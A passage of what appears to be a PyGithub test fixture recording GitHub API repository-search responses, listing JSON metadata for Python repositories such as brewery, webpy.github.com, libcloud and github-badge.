/sha}","statuses_url":"https://api.github.com/repos/amccloud/django-project-skel/statuses/{sha}","languages_url":"https://api.github.com/repos/amccloud/django-project-skel/languages","stargazers_url":"https://api.github.com/repos/amccloud/django-project-skel/stargazers","contributors_url":"https://api.github.com/repos/amccloud/django-project-skel/contributors","subscribers_url":"https://api.github.com/repos/amccloud/django-project-skel/subscribers","subscription_url":"https://api.github.com/repos/amccloud/django-project-skel/subscription","commits_url":"https://api.github.com/repos/amccloud/django-project-skel/commits{/sha}","git_commits_url":"https://api.github.com/repos/amccloud/django-project-skel/git/commits{/sha}","comments_url":"https://api.github.com/repos/amccloud/django-project-skel/comments{/number}","issue_comment_url":"https://api.github.com/repos/amccloud/django-project-skel/issues/comments/{number}","contents_url":"https://api.github.com/repos/amccloud/django-project-skel/contents/{+path}","compare_url":"https://api.github.com/repos/amccloud/django-project-skel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/amccloud/django-project-skel/merges","archive_url":"https://api.github.com/repos/amccloud/django-project-skel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/amccloud/django-project-skel/downloads","issues_url":"https://api.github.com/repos/amccloud/django-project-skel/issues{/number}","pulls_url":"https://api.github.com/repos/amccloud/django-project-skel/pulls{/number}","milestones_url":"https://api.github.com/repos/amccloud/django-project-skel/milestones{/number}","notifications_url":"https://api.github.com/repos/amccloud/django-project-skel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/amccloud/django-project-skel/labels{/name}","releases_url":"https://api.github.com/repos/amccloud/django-project-skel/releases{/id}","created_at":"2011-12-23T21:49:36Z","updated_at":"2014-01-16T16:04:18Z","pushed_at":"2013-02-11T02:25:38Z","git_url":"git://github.com/amccloud/django-project-skel.git","ssh_url":"git@github.com:amccloud/django-project-skel.git","clone_url":"https://github.com/amccloud/django-project-skel.git","svn_url":"https://github.com/amccloud/django-project-skel","homepage":"http://amccloud.com/post/14689947527/django-1-4-custom-project-template","size":156,"stargazers_count":156,"watchers_count":156,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":2,"forks":55,"open_issues":2,"watchers":156,"default_branch":"master","master_branch":"master","score":9.11511},{"id":1143003,"name":"brewery","full_name":"Stiivi/brewery","owner":{"login":"Stiivi","id":71105,"avatar_url":"https://avatars.githubusercontent.com/u/71105","gravatar_id":"aa6ef34dd33b2b0f906c91c55ebbbbbd","url":"https://api.github.com/users/Stiivi","html_url":"https://github.com/Stiivi","followers_url":"https://api.github.com/users/Stiivi/followers","following_url":"https://api.github.com/users/Stiivi/following{/other_user}","gists_url":"https://api.github.com/users/Stiivi/gists{/gist_id}","starred_url":"https://api.github.com/users/Stiivi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Stiivi/subscriptions","organizations_url":"https://api.github.com/users/Stiivi/orgs","repos_url":"https://api.github.com/users/Stiivi/repos","events_url":"https://api.github.com/users/Stiivi/events{/privacy}","received_events_url":"https://api.github.com/users/Stiivi/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/Stiivi/brewery","description":"IMPORTANT: Data Brewery is now Bubbles: https://github.com/stiivi/bubbles This brewery repository is NOT MAINTAINED any more.","fork":false,"url":"https://api.github.com/repos/Stiivi/brewery","forks_url":"https://api.github.com/repos/Stiivi/brewery/forks","keys_url":"https://api.github.com/repos/Stiivi/brewery/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Stiivi/brewery/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Stiivi/brewery/teams","hooks_url":"https://api.github.com/repos/Stiivi/brewery/hooks","issue_events_url":"https://api.github.com/repos/Stiivi/brewery/issues/events{/number}","events_url":"https://api.github.com/repos/Stiivi/brewery/events","assignees_url":"https://api.github.com/repos/Stiivi/brewery/assignees{/user}","branches_url":"https://api.github.com/repos/Stiivi/brewery/branches{/branch}","tags_url":"https://api.github.com/repos/Stiivi/brewery/tags","blobs_url":"https://api.github.com/repos/Stiivi/brewery/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Stiivi/brewery/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Stiivi/brewery/git/refs{/sha}","trees_url":"https://api.github.com/repos/Stiivi/brewery/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Stiivi/brewery/statuses/{sha}","languages_url":"https://api.github.com/repos/Stiivi/brewery/languages","stargazers_url":"https://api.github.com/repos/Stiivi/brewery/stargazers","contributors_url":"https://api.github.com/repos/Stiivi/brewery/contributors","subscribers_url":"https://api.github.com/repos/Stiivi/brewery/subscribers","subscription_url":"https://api.github.com/repos/Stiivi/brewery/subscription","commits_url":"https://api.github.com/repos/Stiivi/brewery/commits{/sha}","git_commits_url":"https://api.github.com/repos/Stiivi/brewery/git/commits{/sha}","comments_url":"https://api.github.com/repos/Stiivi/brewery/comments{/number}","issue_comment_url":"https://api.github.com/repos/Stiivi/brewery/issues/comments/{number}","contents_url":"https://api.github.com/repos/Stiivi/brewery/contents/{+path}","compare_url":"https://api.github.com/repos/Stiivi/brewery/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Stiivi/brewery/merges","archive_url":"https://api.github.com/repos/Stiivi/brewery/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Stiivi/brewery/downloads","issues_url":"https://api.github.com/repos/Stiivi/brewery/issues{/number}","pulls_url":"https://api.github.com/repos/Stiivi/brewery/pulls{/number}","milestones_url":"https://api.github.com/repos/Stiivi/brewery/milestones{/number}","notifications_url":"https://api.github.com/repos/Stiivi/brewery/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Stiivi/brewery/labels{/name}","releases_url":"https://api.github.com/repos/Stiivi/brewery/releases{/id}","created_at":"2010-12-06T12:26:13Z","updated_at":"2013-12-31T11:16:21Z","pushed_at":"2013-07-17T05:53:11Z","git_url":"git://github.com/Stiivi/brewery.git","ssh_url":"git@github.com:Stiivi/brewery.git","clone_url":"https://github.com/Stiivi/brewery.git","svn_url":"https://github.com/Stiivi/brewery","homepage":"http://bubbles.databrewery.org","size":1902,"stargazers_count":151,"watchers_count":151,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":15,"mirror_url":null,"open_issues_count":19,"forks":15,"open_issues":19,"watchers":151,"default_branch":"master","master_branch":"master","score":8.349199},{"id":1221607,"name":"webpy.github.com","full_name":"webpy/webpy.github.com","owner":{"login":"webpy","id":26682,"avatar_url":"https://avatars.githubusercontent.com/u/26682","gravatar_id":"b23dc63d5aa17426fe0e14041d065cdf","url":"https://api.github.com/users/webpy","html_url":"https://github.com/webpy","followers_url":"https://api.github.com/users/webpy/followers","following_url":"https://api.github.com/users/webpy/following{/other_user}","gists_url":"https://api.github.com/users/webpy/gists{/gist_id}","starred_url":"https://api.github.com/users/webpy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/webpy/subscriptions","organizations_url":"https://api.github.com/users/webpy/orgs","repos_url":"https://api.github.com/users/webpy/repos","events_url":"https://api.github.com/users/webpy/events{/privacy}","received_events_url":"https://api.github.com/users/webpy/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/webpy/webpy.github.com","description":"Github pages for webpy.org","fork":false,"url":"https://api.github.com/repos/webpy/webpy.github.com","forks_url":"https://api.github.com/repos/webpy/webpy.github.com/forks","keys_url":"https://api.github.com/repos/webpy/webpy.github.com/keys{/key_id}","collaborators_url":"https://api.github.com/repos/webpy/webpy.github.com/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/webpy/webpy.github.com/teams","hooks_url":"https://api.github.com/repos/webpy/webpy.github.com/hooks","issue_events_url":"https://api.github.com/repos/webpy/webpy.github.com/issues/events{/number}","events_url":"https://api.github.com/repos/webpy/webpy.github.com/events","assignees_url":"https://api.github.com/repos/webpy/webpy.github.com/assignees{/user}","branches_url":"https://api.github.com/repos/webpy/webpy.github.com/branches{/branch}","tags_url":"https://api.github.com/repos/webpy/webpy.github.com/tags","blobs_url":"https://api.github.com/repos/webpy/webpy.github.com/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/webpy/webpy.github.com/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/webpy/webpy.github.com/git/refs{/sha}","trees_url":"https://api.github.com/repos/webpy/webpy.github.com/git/trees{/sha}","statuses_url":"https://api.github.com/repos/webpy/webpy.github.com/statuses/{sha}","languages_url":"https://api.github.com/repos/webpy/webpy.github.com/languages","stargazers_url":"https://api.github.com/repos/webpy/webpy.github.com/stargazers","contributors_url":"https://api.github.com/repos/webpy/webpy.github.com/contributors","subscribers_url":"https://api.github.com/repos/webpy/webpy.github.com/subscribers","subscription_url":"https://api.github.com/repos/webpy/webpy.github.com/subscription","commits_url":"https://api.github.com/repos/webpy/webpy.github.com/commits{/sha}","git_commits_url":"https://api.github.com/repos/webpy/webpy.github.com/git/commits{/sha}","comments_url":"https://api.github.com/repos/webpy/webpy.github.com/comments{/number}","issue_comment_url":"https://api.github.com/repos/webpy/webpy.github.com/issues/comments/{number}","contents_url":"https://api.github.com/repos/webpy/webpy.github.com/contents/{+path}","compare_url":"https://api.github.com/repos/webpy/webpy.github.com/compare/{base}...{head}","merges_url":"https://api.github.com/repos/webpy/webpy.github.com/merges","archive_url":"https://api.github.com/repos/webpy/webpy.github.com/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/webpy/webpy.github.com/downloads","issues_url":"https://api.github.com/repos/webpy/webpy.github.com/issues{/number}","pulls_url":"https://api.github.com/repos/webpy/webpy.github.com/pulls{/number}","milestones_url":"https://api.github.com/repos/webpy/webpy.github.com/milestones{/number}","notifications_url":"https://api.github.com/repos/webpy/webpy.github.com/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/webpy/webpy.github.com/labels{/name}","releases_url":"https://api.github.com/repos/webpy/webpy.github.com/releases{/id}","created_at":"2011-01-05T02:19:49Z","updated_at":"2014-01-20T06:42:11Z","pushed_at":"2014-01-20T06:42:11Z","git_url":"git://github.com/webpy/webpy.github.com.git","ssh_url":"git@github.com:webpy/webpy.github.com.git","clone_url":"https://github.com/webpy/webpy.github.com.git","svn_url":"https://github.com/webpy/webpy.github.com","homepage":"http://webpy.org/","size":3497,"stargazers_count":148,"watchers_count":148,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":149,"mirror_url":null,"open_issues_count":34,"forks":149,"open_issues":34,"watchers":148,"default_branch":"master","master_branch":"master","score":31.51608},{"id":8338,"name":"py-github","full_name":"dustin/py-github","owner":{"login":"dustin","id":1779,"avatar_url":"https://avatars.githubusercontent.com/u/1779","gravatar_id":"995543cb35c3b92a2eb43275116815a7","url":"https://api.github.com/users/dustin","html_url":"https://github.com/dustin","followers_url":"https://api.github.com/users/dustin/followers","following_url":"https://api.github.com/users/dustin/following{/other_user}","gists_url":"https://api.github.com/users/dustin/gists{/gist_id}","starred_url":"https://api.github.com/users/dustin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dustin/subscriptions","organizations_url":"https://api.github.com/users/dustin/orgs","repos_url":"https://api.github.com/users/dustin/repos","events_url":"https://api.github.com/users/dustin/events{/privacy}","received_events_url":"https://api.github.com/users/dustin/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/dustin/py-github","description":"Python interface for talking to the github API","fork":false,"url":"https://api.github.com/repos/dustin/py-github","forks_url":"https://api.github.com/repos/dustin/py-github/forks","keys_url":"https://api.github.com/repos/dustin/py-github/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dustin/py-github/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dustin/py-github/teams","hooks_url":"https://api.github.com/repos/dustin/py-github/hooks","issue_events_url":"https://api.github.com/repos/dustin/py-github/issues/events{/number}","events_url":"https://api.github.com/repos/dustin/py-github/events","assignees_url":"https://api.github.com/repos/dustin/py-github/assignees{/user}","branches_url":"https://api.github.com/repos/dustin/py-github/branches{/branch}","tags_url":"https://api.github.com/repos/dustin/py-github/tags","blobs_url":"https://api.github.com/repos/dustin/py-github/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dustin/py-github/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dustin/py-github/git/refs{/sha}","trees_url":"https://api.github.com/repos/dustin/py-github/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dustin/py-github/statuses/{sha}","languages_url":"https://api.github.com/repos/dustin/py-github/languages","stargazers_url":"https://api.github.com/repos/dustin/py-github/stargazers","contributors_url":"https://api.github.com/repos/dustin/py-github/contributors","subscribers_url":"https://api.github.com/repos/dustin/py-github/subscribers","subscription_url":"https://api.github.com/repos/dustin/py-github/subscription","commits_url":"https://api.github.com/repos/dustin/py-github/commits{/sha}","git_commits_url":"https://api.github.com/repos/dustin/py-github/git/commits{/sha}","comments_url":"https://api.github.com/repos/dustin/py-github/comments{/number}","issue_comment_url":"https://api.github.com/repos/dustin/py-github/issues/comments/{number}","contents_url":"https://api.github.com/repos/dustin/py-github/contents/{+path}","compare_url":"https://api.github.com/repos/dustin/py-github/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dustin/py-github/merges","archive_url":"https://api.github.com/repos/dustin/py-github/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dustin/py-github/downloads","issues_url":"https://api.github.com/repos/dustin/py-github/issues{/number}","pulls_url":"https://api.github.com/repos/dustin/py-github/pulls{/number}","milestones_url":"https://api.github.com/repos/dustin/py-github/milestones{/number}","notifications_url":"https://api.github.com/repos/dustin/py-github/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dustin/py-github/labels{/name}","releases_url":"https://api.github.com/repos/dustin/py-github/releases{/id}","created_at":"2008-04-10T18:11:11Z","updated_at":"2013-12-31T02:10:07Z","pushed_at":"2012-03-18T05:01:42Z","git_url":"git://github.com/dustin/py-github.git","ssh_url":"git@github.com:dustin/py-github.git","clone_url":"https://github.com/dustin/py-github.git","svn_url":"https://github.com/dustin/py-github","homepage":"http://dustin.github.com/2008/12/29/github-sync.html","size":363,"stargazers_count":135,"watchers_count":135,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":35,"mirror_url":null,"open_issues_count":14,"forks":35,"open_issues":14,"watchers":135,"default_branch":"master","master_branch":"master","score":27.607294}]} https GET api.github.com None /search/repositories?sort=stars&q=github+language%3APython&order=desc&page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '28'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:5370:6197CAF:531405FE'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '146436'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:33:02 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393821241')] {"total_count":2723,"items":[{"id":3043012,"name":"Github-Auto-Deploy","full_name":"logsol/Github-Auto-Deploy","owner":{"login":"logsol","id":692826,"avatar_url":"https://avatars.githubusercontent.com/u/692826","gravatar_id":"4e9843f5413444bb9598368645884ae2","url":"https://api.github.com/users/logsol","html_url":"https://github.com/logsol","followers_url":"https://api.github.com/users/logsol/followers","following_url":"https://api.github.com/users/logsol/following{/other_user}","gists_url":"https://api.github.com/users/logsol/gists{/gist_id}","starred_url":"https://api.github.com/users/logsol/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/logsol/subscriptions","organizations_url":"https://api.github.com/users/logsol/orgs","repos_url":"https://api.github.com/users/logsol/repos","events_url":"https://api.github.com/users/logsol/events{/privacy}","received_events_url":"https://api.github.com/users/logsol/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/logsol/Github-Auto-Deploy","description":"a server that allows you to automatically deploy the latest version of your github project at each git push","fork":false,"url":"https://api.github.com/repos/logsol/Github-Auto-Deploy","forks_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/forks","keys_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/teams","hooks_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/hooks","issue_events_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/issues/events{/number}","events_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/events","assignees_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/assignees{/user}","branches_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/branches{/branch}","tags_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/tags","blobs_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/refs{/sha}","trees_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/statuses/{sha}","languages_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/languages","stargazers_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/stargazers","contributors_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/contributors","subscribers_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/subscribers","subscription_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/subscription","commits_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/commits{/sha}","git_commits_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/git/commits{/sha}","comments_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/comments{/number}","issue_comment_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/issues/comments/{number}","contents_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/contents/{+path}","compare_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/compare/{base}...{head}","merges_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/merges","archive_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/downloads","issues_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/issues{/number}","pulls_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/pulls{/number}","milestones_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/milestones{/number}","notifications_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/labels{/name}","releases_url":"https://api.github.com/repos/logsol/Github-Auto-Deploy/releases{/id}","created_at":"2011-12-24T00:24:05Z","updated_at":"2014-01-13T22:50:59Z","pushed_at":"2012-12-25T19:47:57Z","git_url":"git://github.com/logsol/Github-Auto-Deploy.git","ssh_url":"git@github.com:logsol/Github-Auto-Deploy.git","clone_url":"https://github.com/logsol/Github-Auto-Deploy.git","svn_url":"https://github.com/logsol/Github-Auto-Deploy","homepage":"http://logsol.github.com/Github-Auto-Deploy/","size":366,"stargazers_count":159,"watchers_count":159,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":70,"mirror_url":null,"open_issues_count":7,"forks":70,"open_issues":7,"watchers":159,"default_branch":"master","master_branch":"master","score":25.510773},{"id":258426,"name":"libcloud","full_name":"cloudkick/libcloud","owner":{"login":"cloudkick","id":107520,"avatar_url":"https://avatars.githubusercontent.com/u/107520","gravatar_id":"342d355de37f2c73c86bd1bdb8975d59","url":"https://api.github.com/users/cloudkick","html_url":"https://github.com/cloudkick","followers_url":"https://api.github.com/users/cloudkick/followers","following_url":"https://api.github.com/users/cloudkick/following{/other_user}","gists_url":"https://api.github.com/users/cloudkick/gists{/gist_id}","starred_url":"https://api.github.com/users/cloudkick/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cloudkick/subscriptions","organizations_url":"https://api.github.com/users/cloudkick/orgs","repos_url":"https://api.github.com/users/cloudkick/repos","events_url":"https://api.github.com/users/cloudkick/events{/privacy}","received_events_url":"https://api.github.com/users/cloudkick/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/cloudkick/libcloud","description":"THIS IS THE WRONG GITHUB PROJECT. SEE https://github.com/apache/libcloud","fork":false,"url":"https://api.github.com/repos/cloudkick/libcloud","forks_url":"https://api.github.com/repos/cloudkick/libcloud/forks","keys_url":"https://api.github.com/repos/cloudkick/libcloud/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cloudkick/libcloud/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cloudkick/libcloud/teams","hooks_url":"https://api.github.com/repos/cloudkick/libcloud/hooks","issue_events_url":"https://api.github.com/repos/cloudkick/libcloud/issues/events{/number}","events_url":"https://api.github.com/repos/cloudkick/libcloud/events","assignees_url":"https://api.github.com/repos/cloudkick/libcloud/assignees{/user}","branches_url":"https://api.github.com/repos/cloudkick/libcloud/branches{/branch}","tags_url":"https://api.github.com/repos/cloudkick/libcloud/tags","blobs_url":"https://api.github.com/repos/cloudkick/libcloud/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cloudkick/libcloud/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cloudkick/libcloud/git/refs{/sha}","trees_url":"https://api.github.com/repos/cloudkick/libcloud/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cloudkick/libcloud/statuses/{sha}","languages_url":"https://api.github.com/repos/cloudkick/libcloud/languages","stargazers_url":"https://api.github.com/repos/cloudkick/libcloud/stargazers","contributors_url":"https://api.github.com/repos/cloudkick/libcloud/contributors","subscribers_url":"https://api.github.com/repos/cloudkick/libcloud/subscribers","subscription_url":"https://api.github.com/repos/cloudkick/libcloud/subscription","commits_url":"https://api.github.com/repos/cloudkick/libcloud/commits{/sha}","git_commits_url":"https://api.github.com/repos/cloudkick/libcloud/git/commits{/sha}","comments_url":"https://api.github.com/repos/cloudkick/libcloud/comments{/number}","issue_comment_url":"https://api.github.com/repos/cloudkick/libcloud/issues/comments/{number}","contents_url":"https://api.github.com/repos/cloudkick/libcloud/contents/{+path}","compare_url":"https://api.github.com/repos/cloudkick/libcloud/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cloudkick/libcloud/merges","archive_url":"https://api.github.com/repos/cloudkick/libcloud/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cloudkick/libcloud/downloads","issues_url":"https://api.github.com/repos/cloudkick/libcloud/issues{/number}","pulls_url":"https://api.github.com/repos/cloudkick/libcloud/pulls{/number}","milestones_url":"https://api.github.com/repos/cloudkick/libcloud/milestones{/number}","notifications_url":"https://api.github.com/repos/cloudkick/libcloud/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cloudkick/libcloud/labels{/name}","releases_url":"https://api.github.com/repos/cloudkick/libcloud/releases{/id}","created_at":"2009-07-23T04:48:39Z","updated_at":"2014-02-02T07:29:44Z","pushed_at":"2011-03-14T02:42:14Z","git_url":"git://github.com/cloudkick/libcloud.git","ssh_url":"git@github.com:cloudkick/libcloud.git","clone_url":"https://github.com/cloudkick/libcloud.git","svn_url":"https://github.com/cloudkick/libcloud","homepage":"https://github.com/apache/libcloud","size":1609,"stargazers_count":126,"watchers_count":126,"language":"Python","has_issues":false,"has_downloads":false,"has_wiki":false,"forks_count":13,"mirror_url":null,"open_issues_count":6,"forks":13,"open_issues":6,"watchers":126,"default_branch":"master","master_branch":"master","score":13.087221},{"id":2109462,"name":"github-badge","full_name":"berkerpeksag/github-badge","owner":{"login":"berkerpeksag","id":26338,"avatar_url":"https://avatars.githubusercontent.com/u/26338","gravatar_id":"df8e51d7618d5ed7ccbbc8dea9a9afee","url":"https://api.github.com/users/berkerpeksag","html_url":"https://github.com/berkerpeksag","followers_url":"https://api.github.com/users/berkerpeksag/followers","following_url":"https://api.github.com/users/berkerpeksag/following{/other_user}","gists_url":"https://api.github.com/users/berkerpeksag/gists{/gist_id}","starred_url":"https://api.github.com/users/berkerpeksag/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/berkerpeksag/subscriptions","organizations_url":"https://api.github.com/users/berkerpeksag/orgs","repos_url":"https://api.github.com/users/berkerpeksag/repos","events_url":"https://api.github.com/users/berkerpeksag/events{/privacy}","received_events_url":"https://api.github.com/users/berkerpeksag/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/berkerpeksag/github-badge","description":"GitHub Badge is a simple embeddable badge showing your GitHub stats like the number of public repositories, number of followers, favorite languages etc.","fork":false,"url":"https://api.github.com/repos/berkerpeksag/github-badge","forks_url":"https://api.github.com/repos/berkerpeksag/github-badge/forks","keys_url":"https://api.github.com/repos/berkerpeksag/github-badge/keys{/key_id}","collaborators_url":"https://api.github.com/repos/berkerpeksag/github-badge/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/berkerpeksag/github-badge/teams","hooks_url":"https://api.github.com/repos/berkerpeksag/github-badge/hooks","issue_events_url":"https://api.github.com/repos/berkerpeksag/github-badge/issues/events{/number}","events_url":"https://api.github.com/repos/berkerpeksag/github-badge/events","assignees_url":"https://api.github.com/repos/berkerpeksag/github-badge/assignees{/user}","branches_url":"https://api.github.com/repos/berkerpeksag/github-badge/branches{/branch}","tags_url":"https://api.github.com/repos/berkerpeksag/github-badge/tags","blobs_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/refs{/sha}","trees_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/trees{/sha}","statuses_url":"https://api.github.com/repos/berkerpeksag/github-badge/statuses/{sha}","languages_url":"https://api.github.com/repos/berkerpeksag/github-badge/languages","stargazers_url":"https://api.github.com/repos/berkerpeksag/github-badge/stargazers","contributors_url":"https://api.github.com/repos/berkerpeksag/github-badge/contributors","subscribers_url":"https://api.github.com/repos/berkerpeksag/github-badge/subscribers","subscription_url":"https://api.github.com/repos/berkerpeksag/github-badge/subscription","commits_url":"https://api.github.com/repos/berkerpeksag/github-badge/commits{/sha}","git_commits_url":"https://api.github.com/repos/berkerpeksag/github-badge/git/commits{/sha}","comments_url":"https://api.github.com/repos/berkerpeksag/github-badge/comments{/number}","issue_comment_url":"https://api.github.com/repos/berkerpeksag/github-badge/issues/comments/{number}","contents_url":"https://api.github.com/repos/berkerpeksag/github-badge/contents/{+path}","compare_url":"https://api.github.com/repos/berkerpeksag/github-badge/compare/{base}...{head}","merges_url":"https://api.github.com/repos/berkerpeksag/github-badge/merges","archive_url":"https://api.github.com/repos/berkerpeksag/github-badge/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/berkerpeksag/github-badge/downloads","issues_url":"https://api.github.com/repos/berkerpeksag/github-badge/issues{/number}","pulls_url":"https://api.github.com/repos/berkerpeksag/github-badge/pulls{/number}","milestones_url":"https://api.github.com/repos/berkerpeksag/github-badge/milestones{/number}","notifications_url":"https://api.github.com/repos/berkerpeksag/github-badge/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/berkerpeksag/github-badge/labels{/name}","releases_url":"https://api.github.com/repos/berkerpeksag/github-badge/releases{/id}","created_at":"2011-07-26T21:30:23Z","updated_at":"2014-01-13T12:31:22Z","pushed_at":"2014-01-09T02:40:56Z","git_url":"git://github.com/berkerpeksag/github-badge.git","ssh_url":"git@github.com:berkerpeksag/github-badge.git","clone_url":"https://github.com/berkerpeksag/github-badge.git","svn_url":"https://github.com/berkerpeksag/github-badge","homepage":"http://githubbadge.appspot.com/","size":895,"stargazers_count":135,"watchers_count":135,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":10,"mirror_url":null,"open_issues_count":8,"forks":10,"open_issues":8,"watchers":135,"default_branch":"master","master_branch":"master","score":17.625778},{"id":2629694,"name":"ssh","full_name":"bitprophet/ssh","owner":{"login":"bitprophet","id":6088,"avatar_url":"https://avatars.githubusercontent.com/u/6088","gravatar_id":"f1acc6318028fdba9874c77bc622a2fb","url":"https://api.github.com/users/bitprophet","html_url":"https://github.com/bitprophet","followers_url":"https://api.github.com/users/bitprophet/followers","following_url":"https://api.github.com/users/bitprophet/following{/other_user}","gists_url":"https://api.github.com/users/bitprophet/gists{/gist_id}","starred_url":"https://api.github.com/users/bitprophet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bitprophet/subscriptions","organizations_url":"https://api.github.com/users/bitprophet/orgs","repos_url":"https://api.github.com/users/bitprophet/repos","events_url":"https://api.github.com/users/bitprophet/events{/privacy}","received_events_url":"https://api.github.com/users/bitprophet/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/bitprophet/ssh","description":"PLEASE file all new issues over at: https://github.com/paramiko/paramiko 